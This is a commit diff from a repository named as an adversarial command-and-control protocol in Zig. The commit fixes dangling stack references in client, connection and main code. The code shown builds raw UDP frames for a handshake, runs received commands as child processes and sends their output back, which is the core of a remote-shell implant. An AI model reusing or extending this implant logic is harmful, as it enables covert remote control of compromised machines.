Adversarial C2 Protocol Implemented in Zig
0
fork

Configure Feed

Select the types of activity you want to include in your feed.

Don't create dangling references

Apparently things die at the end of blk scopes.

+41 -60
+21 -29
src/Client.zig
··· 22 22 } 23 23 24 24 pub fn sendRelay(self: *Client, io: Io, payload: []const u8, dest: [4]u8) !void { 25 - const rand = blk: { 26 - const io_source: std.Random.IoSource = .{ .io = io }; 27 - break :blk io_source.interface(); 28 - }; 25 + const io_source: std.Random.IoSource = .{ .io = io }; 26 + const rand = io_source.interface(); 29 27 30 28 var headers: EthIpUdp = .{ 31 29 .src_mac = self.socket.mac, ··· 53 51 const relay_bytes = relay.toBytes(&relay_buf); 54 52 headers.setPayloadLen(relay_bytes.len); 55 53 56 - const full_msg = blk: { 57 - var msg_buf: [max_message_size]u8 = undefined; 58 - var msg_w: Writer = .fixed(&msg_buf); 59 - msg_w.writeAll(&headers.toBytes()) catch unreachable; 60 - msg_w.writeAll(relay_bytes) catch unreachable; 61 - break :blk msg_w.buffered(); 62 - }; 54 + var msg_buf: [max_message_size]u8 = undefined; 55 + var msg_w: Writer = .fixed(&msg_buf); 56 + msg_w.writeAll(&headers.toBytes()) catch unreachable; 57 + msg_w.writeAll(relay_bytes) catch unreachable; 58 + const full_msg = msg_w.buffered(); 63 59 64 60 try self.socket.send(full_msg); 65 61 } 66 62 67 63 pub fn connect(self: Client, io: Io, payload: []const u8) !SaprusConnection { 68 - const rand = blk: { 69 - const io_source: std.Random.IoSource = .{ .io = io }; 70 - break :blk io_source.interface(); 71 - }; 64 + const io_source: std.Random.IoSource = .{ .io = io }; 65 + const rand = io_source.interface(); 72 66 73 67 var headers: EthIpUdp = .{ 74 68 .src_mac = self.socket.mac, ··· 106 100 headers.setPayloadLen(connection_bytes.len); 107 101 108 102 log.debug("Building full message", .{}); 109 - var full_msg = blk: { 110 - var msg_buf: [2048]u8 = undefined; 111 - var msg_w: Writer = .fixed(&msg_buf); 112 - msg_w.writeAll(&headers.toBytes()) catch unreachable; 113 - msg_w.writeAll(connection_bytes) catch unreachable; 114 - break :blk msg_w.buffered(); 115 - }; 103 + var msg_buf: [2048]u8 = undefined; 104 + var msg_w: Writer = .fixed(&msg_buf); 105 + msg_w.writeAll(&headers.toBytes()) catch unreachable; 106 + msg_w.writeAll(connection_bytes) catch unreachable; 107 + var full_msg = msg_w.buffered(); 116 108 log.debug("Built full message. Sending message", .{}); 117 109 118 110 try self.socket.send(full_msg); ··· 128 120 headers.setPayloadLen(connection_bytes.len); 129 121 130 122 log.debug("Building final handshake message", .{}); 131 - full_msg = blk: { 132 - var msg_buf: [2048]u8 = undefined; 133 - var msg_w: Writer = .fixed(&msg_buf); 134 - msg_w.writeAll(&headers.toBytes()) catch unreachable; 135 - msg_w.writeAll(connection_bytes) catch unreachable; 136 - break :blk msg_w.buffered(); 137 - }; 123 + 124 + msg_w.end = 0; 125 + 126 + msg_w.writeAll(&headers.toBytes()) catch unreachable; 127 + msg_w.writeAll(connection_bytes) catch unreachable; 128 + full_msg = msg_w.buffered(); 129 + 138 130 try self.socket.send(full_msg); 139 131 140 132 return .init(self.socket, headers, connection);
+11 -19
src/Connection.zig
··· 17 17 log.debug("Awaiting connection message", .{}); 18 18 const res = try self.socket.receive(buf); 19 19 log.debug("Received {} byte connection message", .{res.len}); 20 - const connection_res = blk: { 21 - const msg: SaprusMessage = try .parse(res[42..]); 22 - break :blk msg.connection; 23 - }; 20 + const msg: SaprusMessage = try .parse(res[42..]); 21 + const connection_res = msg.connection; 24 22 25 23 log.debug("Payload was {s}", .{connection_res.payload}); 26 24 ··· 28 26 } 29 27 30 28 pub fn send(self: *Connection, io: Io, buf: []const u8) !void { 31 - const rand = blk: { 32 - const io_source: std.Random.IoSource = .{ .io = io }; 33 - break :blk io_source.interface(); 34 - }; 29 + const io_source: std.Random.IoSource = .{ .io = io }; 30 + const rand = io_source.interface(); 35 31 36 32 log.debug("Sending connection message", .{}); 37 33 38 34 self.connection.connection.payload = buf; 39 - const connection_bytes = blk: { 40 - var connection_bytes: [2048]u8 = undefined; 41 - break :blk self.connection.toBytes(&connection_bytes); 42 - }; 35 + var connection_bytes_buf: [2048]u8 = undefined; 36 + const connection_bytes = self.connection.toBytes(&connection_bytes_buf); 43 37 44 38 self.headers.ip.id = rand.int(u16); 45 39 self.headers.setPayloadLen(connection_bytes.len); 46 40 47 - const full_msg = blk: { 48 - var msg_buf: [2048]u8 = undefined; 49 - var msg_w: Writer = .fixed(&msg_buf); 50 - try msg_w.writeAll(&self.headers.toBytes()); 51 - try msg_w.writeAll(connection_bytes); 52 - break :blk msg_w.buffered(); 53 - }; 41 + var msg_buf: [2048]u8 = undefined; 42 + var msg_w: Writer = .fixed(&msg_buf); 43 + try msg_w.writeAll(&self.headers.toBytes()); 44 + try msg_w.writeAll(connection_bytes); 45 + const full_msg = msg_w.buffered(); 54 46 55 47 try self.socket.send(full_msg); 56 48
+9 -12
src/main.zig
··· 66 66 .connect => { 67 67 i += 1; 68 68 if (i < args.len) { 69 - var w: Writer = blk: { 70 - var buf: [2048]u8 = undefined; 71 - break :blk .fixed(&buf); 72 - }; 73 - try w.printBase64(args[i]); 74 - flags.connect = w.buffered(); 69 + flags.connect = args[i]; 75 70 } else { 76 71 flags.connect = ""; 77 72 } ··· 130 125 if (flags.connect != null) { 131 126 reconnect: while (true) { 132 127 log.debug("Starting connection", .{}); 133 - var connection = try client.connect(init.io, flags.connect.?); 128 + 129 + var init_con_buf: [SaprusClient.max_payload_len]u8 = undefined; 130 + var w: Writer = .fixed(&init_con_buf); 131 + try w.print("{b64}", .{flags.connect.?}); 132 + var connection = try client.connect(init.io, w.buffered()); 133 + 134 134 log.debug("Connection started", .{}); 135 135 136 136 while (true) { ··· 158 158 159 159 try child.collectOutput(init.gpa, &child_stdout, &child_stderr, std.math.maxInt(usize)); 160 160 161 - // const b64e = std.base64.standard.Encoder; 162 - var cmd_output: Writer = blk: { 163 - var cmd_output_buf: [2048]u8 = undefined; 164 - break :blk .fixed(&cmd_output_buf); 165 - }; 161 + var cmd_output_buf: [2048]u8 = undefined; 162 + var cmd_output: Writer = .fixed(&cmd_output_buf); 166 163 167 164 var cmd_output_window_iter = std.mem.window(u8, child_stdout.items, SaprusClient.max_payload_len, SaprusClient.max_payload_len); 168 165 while (cmd_output_window_iter.next()) |chunk| {